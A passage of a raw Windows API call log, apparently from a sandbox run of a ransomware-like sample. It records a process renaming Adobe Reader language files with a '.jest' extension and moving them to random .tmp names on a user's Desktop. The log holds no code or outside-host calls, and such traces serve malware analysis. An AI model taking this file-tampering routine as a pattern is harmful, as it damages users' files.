wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0150.705] CoFreeUnusedLibraries () [0150.705] GetTickCount () returned 0x1157733 [0150.705] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.705] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.705] GetTickCount () returned 0x1157733 [0150.705] IsWindowVisible (hWnd=0x30268) returned 0 [0150.705] Sleep (dwMilliseconds=0x0) [0150.707] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ja.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ja.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ja.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ja.txt.jest")) returned 1 [0150.710] GetLastError () returned 0x0 [0150.710] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳慪琮瑸") returned 0x68 [0150.710] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14cf144, cbMultiByte=104, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 104 [0150.710] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳慪琮瑸") returned 0x68 [0150.710] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14cf144, cbMultiByte=105, lpWideCharStr=0x1439714, cchWideChar=209 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ja.txt") returned 105 [0150.710] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳慪琮瑸樮獥t") returned 0x6d [0150.710] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=109, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 109 [0150.710] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳慪琮瑸樮獥t") returned 0x6d [0150.710] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=110, lpWideCharStr=0x144ebf4, cchWideChar=219 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ja.txt.jest") returned 110 [0150.710] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ja.txt", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ja.txt", lpUsedDefaultChar=0x0) returned 105 [0150.710] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ja.txt", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ja.txt", lpFilePart=0x18e6d8*="DisplayLanguageNames.ja.txt") returned 0x68 [0150.711] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ja.txt", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x5000005, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x144ebc8, ftLastAccessTime.dwLowDateTime=0x1446100, ftLastAccessTime.dwHighDateTime=0x1436318, ftLastWriteTime.dwLowDateTime=0x28, ftLastWriteTime.dwHighDateTime=0x1410000, nFileSizeHigh=0x2, nFileSizeLow=0x144eae0, dwReserved0=0x18ea24, dwReserved1=0x77c7389e, cFileName="8\x01A\x01z8ÇwYpÍw", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0150.711] GetLastError () returned 0x2 [0150.711] VarBstrFromR4 (in: fltIn=0x47945033, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.4") returned 0x0 [0150.712] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0150.712] CoFreeUnusedLibraries () [0150.712] GetTickCount () returned 0x1157733 [0150.712] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.712] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.712] GetTickCount () returned 0x1157733 [0150.712] IsWindowVisible (hWnd=0x30268) returned 0 [0150.712] Sleep (dwMilliseconds=0x0) [0150.712] GetFullPathNameA (in: lpFileName="yX8FWAiW _90kUU-hMIDxX wriieFrPaU2hP-6Xrt tVfrHskiMC07l5rPjX7YRoQVRuEqGfHeXy4RG2XABqRQnE8HwMINCWqYQ.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yX8FWAiW _90kUU-hMIDxX wriieFrPaU2hP-6Xrt tVfrHskiMC07l5rPjX7YRoQVRuEqGfHeXy4RG2XABqRQnE8HwMINCWqYQ.tmp", lpFilePart=0x18e708*="yX8FWAiW _90kUU-hMIDxX wriieFrPaU2hP-6Xrt tVfrHskiMC07l5rPjX7YRoQVRuEqGfHeXy4RG2XABqRQnE8HwMINCWqYQ.tmp") returned 0x8d [0150.713] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ja.txt", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ja.txt", lpFilePart=0x18e708*="DisplayLanguageNames.ja.txt") returned 0x68 [0150.713] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ja.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ja.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yX8FWAiW _90kUU-hMIDxX wriieFrPaU2hP-6Xrt tVfrHskiMC07l5rPjX7YRoQVRuEqGfHeXy4RG2XABqRQnE8HwMINCWqYQ.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yx8fwaiw _90kuu-hmidxx wriiefrpau2hp-6xrt tvfrhskimc07l5rpjx7yroqvrueqgfhexy4rg2xabqrqne8hwmincwqyq.tmp")) returned 0 [0150.713] GetLastError () returned 0x2 [0150.713] GetLastError () returned 0x2 [0150.713] SetLastError (dwErrCode=0x2) [0150.713] GetLastError () returned 0x2 [0150.713] SetLastError (dwErrCode=0x2) [0150.713] GetLastError () returned 0x2 [0150.713] SetLastError (dwErrCode=0x2) [0150.714] GetFullPathNameA (in: lpFileName="yX8FWAiW _90kUU-hMIDxX wriieFrPaU2hP-6Xrt tVfrHskiMC07l5rPjX7YRoQVRuEqGfHeXy4RG2XABqRQnE8HwMINCWqYQ.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yX8FWAiW _90kUU-hMIDxX wriieFrPaU2hP-6Xrt tVfrHskiMC07l5rPjX7YRoQVRuEqGfHeXy4RG2XABqRQnE8HwMINCWqYQ.tmp", lpFilePart=0x18e6e4*="yX8FWAiW _90kUU-hMIDxX wriieFrPaU2hP-6Xrt tVfrHskiMC07l5rPjX7YRoQVRuEqGfHeXy4RG2XABqRQnE8HwMINCWqYQ.tmp") returned 0x8d [0150.714] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yX8FWAiW _90kUU-hMIDxX wriieFrPaU2hP-6Xrt tVfrHskiMC07l5rPjX7YRoQVRuEqGfHeXy4RG2XABqRQnE8HwMINCWqYQ.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x46385879, cFileName="WAiW _90kUU-hMIDxX wriieFrPaU2hP-6Xrt tVfrHskiMC07l5rPjX7YRoQVRuEqGfHeXy4RG2XABqRQnE8HwMINCWqYQ.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0150.714] GetLastError () returned 0x2 [0150.714] GetLastError () returned 0x2 [0150.714] SetLastError (dwErrCode=0x2) [0150.714] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0150.715] CoFreeUnusedLibraries () [0150.715] GetTickCount () returned 0x1157733 [0150.715] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.715] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.715] GetTickCount () returned 0x1157733 [0150.715] IsWindowVisible (hWnd=0x30268) returned 0 [0150.715] Sleep (dwMilliseconds=0x0) [0150.716] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ja_JP_TRADITIONAL.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ja_jp_traditional.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ja_JP_TRADITIONAL.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ja_jp_traditional.txt.jest")) returned 1 [0150.717] GetLastError () returned 0x0 [0150.717] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳慪䩟彐剔䑁呉佉䅎⹌硴t") returned 0x77 [0150.717] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=119, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 119 [0150.717] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳慪䩟彐剔䑁呉佉䅎⹌硴t") returned 0x77 [0150.717] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=120, lpWideCharStr=0x144bb04, cchWideChar=239 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ja_JP_TRADITIONAL.txt") returned 120 [0150.717] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳慪䩟彐剔䑁呉佉䅎⹌硴⹴敪瑳") returned 0x7c [0150.717] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ebf4, cbMultiByte=124, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 124 [0150.717] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳慪䩟彐剔䑁呉佉䅎⹌硴⹴敪瑳") returned 0x7c [0150.718] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ebf4, cbMultiByte=125, lpWideCharStr=0x144ddec, cchWideChar=249 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ja_JP_TRADITIONAL.txt.jest") returned 125 [0150.718] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ja_JP_TRADITIONAL.txt", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ja_JP_TRADITIONAL.txt", lpUsedDefaultChar=0x0) returned 120 [0150.718] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ja_JP_TRADITIONAL.txt", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ja_JP_TRADITIONAL.txt", lpFilePart=0x18e6d8*="DisplayLanguageNames.ja_JP_TRADITIONAL.txt") returned 0x77 [0150.718] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ja_JP_TRADITIONAL.txt", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x15000015, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x144ee00, ftLastAccessTime.dwLowDateTime=0x146c930, ftLastAccessTime.dwHighDateTime=0x144e6a0, ftLastWriteTime.dwLowDateTime=0xa8, ftLastWriteTime.dwHighDateTime=0x1410000, nFileSizeHigh=0x400000, nFileSizeLow=0x144ecf0, dwReserved0=0x18ea24, dwReserved1=0x77c7389e, cFileName="8\x01A\x01z8ÇwYpÍw", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0150.718] GetLastError () returned 0x2 [0150.718] VarBstrFromR4 (in: fltIn=0x47945033, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.4") returned 0x0 [0150.719] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0150.719] CoFreeUnusedLibraries () [0150.719] GetTickCount () returned 0x1157733 [0150.719] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.719] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.719] GetTickCount () returned 0x1157733 [0150.719] IsWindowVisible (hWnd=0x30268) returned 0 [0150.719] Sleep (dwMilliseconds=0x0) [0150.719] GetFullPathNameA (in: lpFileName="zJCwFmrd2up1_zqnx-jXMuwhb_1lWp4eyzObZJZt8HgKrfRO8lByqGkYWFOGG3zmhigphGyq J0E CuJ kj9K3PGcwIvqH Htypj.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zJCwFmrd2up1_zqnx-jXMuwhb_1lWp4eyzObZJZt8HgKrfRO8lByqGkYWFOGG3zmhigphGyq J0E CuJ kj9K3PGcwIvqH Htypj.tmp", lpFilePart=0x18e708*="zJCwFmrd2up1_zqnx-jXMuwhb_1lWp4eyzObZJZt8HgKrfRO8lByqGkYWFOGG3zmhigphGyq J0E CuJ kj9K3PGcwIvqH Htypj.tmp") returned 0x8e [0150.720] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ja_JP_TRADITIONAL.txt", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ja_JP_TRADITIONAL.txt", lpFilePart=0x18e708*="DisplayLanguageNames.ja_JP_TRADITIONAL.txt") returned 0x77 [0150.734] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ja_JP_TRADITIONAL.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ja_jp_traditional.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zJCwFmrd2up1_zqnx-jXMuwhb_1lWp4eyzObZJZt8HgKrfRO8lByqGkYWFOGG3zmhigphGyq J0E CuJ kj9K3PGcwIvqH Htypj.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zjcwfmrd2up1_zqnx-jxmuwhb_1lwp4eyzobzjzt8hgkrfro8lbyqgkywfogg3zmhigphgyq j0e cuj kj9k3pgcwivqh htypj.tmp")) returned 0 [0150.735] GetLastError () returned 0x2 [0150.735] GetLastError () returned 0x2 [0150.735] SetLastError (dwErrCode=0x2) [0150.735] GetLastError () returned 0x2 [0150.735] SetLastError (dwErrCode=0x2) [0150.735] GetLastError () returned 0x2 [0150.735] SetLastError (dwErrCode=0x2) [0150.735] GetFullPathNameA (in: lpFileName="zJCwFmrd2up1_zqnx-jXMuwhb_1lWp4eyzObZJZt8HgKrfRO8lByqGkYWFOGG3zmhigphGyq J0E CuJ kj9K3PGcwIvqH Htypj.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zJCwFmrd2up1_zqnx-jXMuwhb_1lWp4eyzObZJZt8HgKrfRO8lByqGkYWFOGG3zmhigphGyq J0E CuJ kj9K3PGcwIvqH Htypj.tmp", lpFilePart=0x18e6e4*="zJCwFmrd2up1_zqnx-jXMuwhb_1lWp4eyzObZJZt8HgKrfRO8lByqGkYWFOGG3zmhigphGyq J0E CuJ kj9K3PGcwIvqH Htypj.tmp") returned 0x8e [0150.735] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zJCwFmrd2up1_zqnx-jXMuwhb_1lWp4eyzObZJZt8HgKrfRO8lByqGkYWFOGG3zmhigphGyq J0E CuJ kj9K3PGcwIvqH Htypj.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x77434a7a, cFileName="Fmrd2up1_zqnx-jXMuwhb_1lWp4eyzObZJZt8HgKrfRO8lByqGkYWFOGG3zmhigphGyq J0E CuJ kj9K3PGcwIvqH Htypj.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0150.736] GetLastError () returned 0x2 [0150.736] GetLastError () returned 0x2 [0150.736] SetLastError (dwErrCode=0x2) [0150.736] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0150.736] CoFreeUnusedLibraries () [0150.737] GetTickCount () returned 0x1157752 [0150.737] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.737] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.737] GetTickCount () returned 0x1157752 [0150.737] IsWindowVisible (hWnd=0x30268) returned 0 [0150.737] Sleep (dwMilliseconds=0x0) [0150.744] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.it_IT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.it_it.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.it_IT.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.it_it.txt.jest")) returned 1 [0150.745] GetLastError () returned 0x0 [0150.746] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳瑩䥟⹔硴t") returned 0x6b [0150.746] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14cf144, cbMultiByte=107, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 107 [0150.746] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳瑩䥟⹔硴t") returned 0x6b [0150.746] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14cf144, cbMultiByte=108, lpWideCharStr=0x144ddec, cchWideChar=215 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.it_IT.txt") returned 108 [0150.746] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳瑩䥟⹔硴⹴敪瑳") returned 0x70 [0150.746] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146c82c, cbMultiByte=112, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 112 [0150.746] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳瑩䥟⹔硴⹴敪瑳") returned 0x70 [0150.746] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146c82c, cbMultiByte=113, lpWideCharStr=0x144ebf4, cchWideChar=225 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.it_IT.txt.jest") returned 113 [0150.746] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.it_IT.txt", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.it_IT.txt", lpUsedDefaultChar=0x0) returned 108 [0150.746] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.it_IT.txt", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.it_IT.txt", lpFilePart=0x18e6d8*="DisplayLanguageNames.it_IT.txt") returned 0x6b [0150.746] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.it_IT.txt", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x18000018, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x144ede8, ftLastAccessTime.dwLowDateTime=0x1439710, ftLastAccessTime.dwHighDateTime=0x14e21e0, ftLastWriteTime.dwLowDateTime=0xc0, ftLastWriteTime.dwHighDateTime=0x1410000, nFileSizeHigh=0x400000, nFileSizeLow=0x144ecf0, dwReserved0=0x18ea24, dwReserved1=0x77c7389e, cFileName="8\x01A\x01z8ÇwYpÍw", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0150.746] GetLastError () returned 0x2 [0150.747] VarBstrFromR4 (in: fltIn=0x47945037, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.43") returned 0x0 [0150.747] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0150.747] CoFreeUnusedLibraries () [0150.747] GetTickCount () returned 0x1157752 [0150.747] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.747] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.747] GetTickCount () returned 0x1157752 [0150.748] IsWindowVisible (hWnd=0x30268) returned 0 [0150.748] Sleep (dwMilliseconds=0x0) [0150.748] GetFullPathNameA (in: lpFileName="zHtOLF7cUoYxuE7Rzgmzm7PXJl2iEK3Z0mv3NhwK0ju4s67rvWf3vqPi-Wqbf2EBAg0mv84odovjOZXwiBbjCmBsvsWf0nzWi72n_.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zHtOLF7cUoYxuE7Rzgmzm7PXJl2iEK3Z0mv3NhwK0ju4s67rvWf3vqPi-Wqbf2EBAg0mv84odovjOZXwiBbjCmBsvsWf0nzWi72n_.tmp", lpFilePart=0x18e708*="zHtOLF7cUoYxuE7Rzgmzm7PXJl2iEK3Z0mv3NhwK0ju4s67rvWf3vqPi-Wqbf2EBAg0mv84odovjOZXwiBbjCmBsvsWf0nzWi72n_.tmp") returned 0x8f [0150.749] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.it_IT.txt", nBufferLength=0x104, lpBuffer=0x18e83c, 